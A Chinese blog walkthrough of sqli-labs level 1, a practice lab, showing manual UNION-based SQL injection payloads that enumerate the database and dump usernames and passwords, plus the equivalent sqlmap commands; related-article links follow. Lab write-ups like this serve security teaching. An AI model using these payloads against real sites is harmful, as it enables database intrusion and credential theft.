sqli-labs第一关 详解
sqli-labs第一关
方法一:手工注入
方法二:sqlmap工具
两种方式,都可以学学,顺便学会用sqlmap,也是不错的。不多说,我们开始吧
方法一:
来到第一关,图上说我们需要一个数字的参数
于是我们先手工注入?id=1 and 1=1 跟?id=1 and 1=2发现页面没有报错
每张截图上面页面中有select查询语句,这是我在第一关的源码中加上了echo "$sql<br>"; 为了能够跟清楚的了解sql注入的原理
于是我们来判断一下是否为字符型注入,尝试?id=1'发现页面报错,此题应该为字符型注入
于是我们拼接字符串?id=1' and '1'='1页面回显正常
然后我们使用order by来确定表中的列数,为什么我们要确定表中字段的列数呢?是因为我们的union联合查询
联合查询特点:
1、要求多条查询语句的查询列数是一致的!
2、要求多条查询语句的查询的每一列的类型和顺序最好一致
3、union关键字默认去重,如果使用union all 可以包含重复项
于是我们构造?id=1' and '1'='1' order by 1--+ 页面回显正常
?id=1' and '1'='1' order by 2--+ 页面回显正常
?id=1' and '1'='1' order by 3--+ 页面回显正常
?id=1' and '1'='1' order by 4--+ 出现报错界面
然后我们就确定了字段数,于是用联合查询?id=-1' union select 1,2,3--+ (将id弄成一个负数的值,使前面的语句失效)然后看看union查询是否有回显位
这样我们就看到了2,3这两个回显位
然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点
version():查看数据库版本
database():查看使用的数据库
user():查看当前用户
limit:limit子句分批来获取所有数据
group_concat():一次性获取所有的数据库信息
当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解
接下来利用这两个回显位来查询数据库,和数据库版本信息
?id=-1' union select 1,database(),version()--+
然后我们知道了数据库是security,版本信息:5.7.26
再爆表之前我们先了解一波知识点:
information_schema.tables:包含了数据库里所有的表
table_name:表名
table_schema:数据库名
column_name:字段名
然后我们利用union查询来爆出表面宁
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
于是我们爆出了表名
然后,由我们正常的思维,我们的账号和密码肯定在一张表上,我们看到了users表,
于是我们查看一下这张表的字段名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
我们看到了username和password字段,
然后我们就去查询字段信息
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
获得了所有的账号和密码,这样我们就顺利的拿到了很重要的信息。
方法二:
--dbs:是查看所有的数据库
--tables:是查看所有的表
--columns:是查看表中所有的字段名
--dump:是查询哪个表的数据
因为我们已经知道了注入点的位置,于是我们直接用sqlmap跑
命令:sqlmap.py -u "有注入点的url" --dbs
我们看到了security数据库,然后我们开始爆表
命令:sqlmap.py -u "有注入点的url" -D security --tables
接下来我们开始爆字段名
命令:sqlmap.py -u "有注入点的url" -D security -T users --columns
于是我们就可以爆信息了
命令:sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump
让后我们就得到了用户名和密码了。
两种方法,大家尽情参考就可以了。知识点,来自网络搜集中,有不对的可以指出来,欢迎大家的评论和指正。
sqli-labs第一关 详解的更多相关文章
- sqli-labs第二关 详解
学会了第一关,时隔多天来到了第二关,怎么说了没有看wp就给做出来了. 首先,我是自己先判断了下,这个是什么注入 ?id=1' 不行 ?id=1' or '1'='1--+ 也不行 然后又尝试了下 ?i ...
- upload-labs打关详解
1-19关 00x01 JS检查 方法一.修改javascript代码,将.php添加到允许上传的类型中 3.上传成功 方法二:绕过前端,通过burpsuit抓包,上传一张info.jpg图片,然后抓 ...
- 【HANA系列】【第一篇】SAP HANA XS使用JavaScript数据交互详解
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[HANA系列][第一篇]SAP HANA XS ...
- 【HANA系列】SAP HANA XS使用JavaScript数据交互详解
公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[HANA系列]SAP HANA XS使用Jav ...
- MPP大规模并行处理架构详解
面试官:说下你知道的MPP架构的计算引擎? 这个问题不少小伙伴在面试时都遇到过,因为对MPP这个概念了解较少,不少人都卡壳了,但是我们常用的大数据计算引擎有很多都是MPP架构的,像我们熟悉的Impal ...
- JStorm第一个程序WordCount详解
一.Strom基本知识(回顾) 1,首先明确Storm各个组件的作用,包括Nimbus,Supervisor,Spout,Bolt,Task,Worker,Tuple nimbus是整个storm任务 ...
- IIS负载均衡-Application Request Route详解第一篇: ARR介绍(转载)
IIS负载均衡-Application Request Route详解第一篇: ARR介绍 说到负载均衡,相信大家已经不再陌生了,本系列主要介绍在IIS中可以采用的负载均衡的软件:微软的Applica ...
- Asp.Net MVC3 简单入门第一季(三)详解Controller之Filter
前言 前面两篇写的比较简单,刚开始写这个系列的时候我面向的对象是刚开始接触Asp.Net MVC的朋友,所以写的尽量简单.所以写的没多少技术含量.把这些技术总结出来,然后一简单的方式让更多的人很好的接 ...
- PE文件格式详解,第一讲,DOS头文件格式
PE文件格式详解,第一讲,DOS头文件格式 今天讲解PE文件格式的DOS头文件格式 首先我们要理解,什么是文件格式,我们常说的EXE可执行程序,就是一个文件格式,那么我们要了解它里面到底存了什么内容 ...
随机推荐
- 用 Java 拿下 HTML 分分钟写个小爬虫
本文适合有 Java 基础知识的人群 本文作者:HelloGitHub-秦人 HelloGitHub 推出的<讲解开源项目>系列,今天给大家带来一款开源 Java 版一款网页元素解析框架- ...
- 关于Vuex的那些事儿
vuex vuex是一个专门为Vue.js应用程序开发的状态管理模式,集中式的存储应用的所有组件的状态 以相应的规则保证状态以一种可预测的方式发生变化 单向数据流 State:驱动应用的数据源(单向数 ...
- java集合类源码学习二
我们查看Collection接口的hierarchy时候,可以看到AbstractCollection<E>这样一个抽象类,它实现了Collection接口的部分方法,Collection ...
- Nice to meet you
Who am i 详情可以参见我的这一篇博文 Why and how 其实之前就想在博客园开创自己的博客了,但是自己之前已经利用自己的GitHub搭建了一个 博客,然后的话自己写的文章即水又不多,说到 ...
- 移动APP性能评测与优化
本文是<移动App性能评测与优化>的读书笔记. PS:说是读书笔记,其实就是摘录. 移动App的性能测试主要包括:内存使用情况.电量消耗.功能的流畅度等: 1. 内存 1.1 内存的主要组 ...
- Appium之常用API
Appium常用API解析 1.current_activity:获取当前页面的activity名,比如com.taobao.tao.TBMainActivity 或 com.taobao.brows ...
- python3 变量
python 3变量名不能以数字开头但能数字结尾 变量名大小写敏感 在多个单词组成的变量名中以下划线间隔
- 吴恩达《深度学习》-第五门课 序列模型(Sequence Models)-第三周 序列模型和注意力机制(Sequence models & Attention mechanism)-课程笔记
第三周 序列模型和注意力机制(Sequence models & Attention mechanism) 3.1 序列结构的各种序列(Various sequence to sequence ...
- 【深入理解Linux内核架构】3.3 页表
页表:用于建立用户进程空间的虚拟地址空间和系统物理内存(内存.页帧)之间的关联. 向每个进程提供一致的虚拟地址空间. 将虚拟内存页映射到物理内存,因而支持共享内存的实现. 可以在不增加物理内存的情况下 ...
- ActiveMQ客户端Apache.NMS从.net 4.0移植到.net standard 2.0
1.从官网或GitHub下载Apache.NMS源码 2.新建.net standard 2.0类库 3.将源码复制到新建的类库中,并删除或注释CommonAssemblyInfo.cs文件(程序集版 ...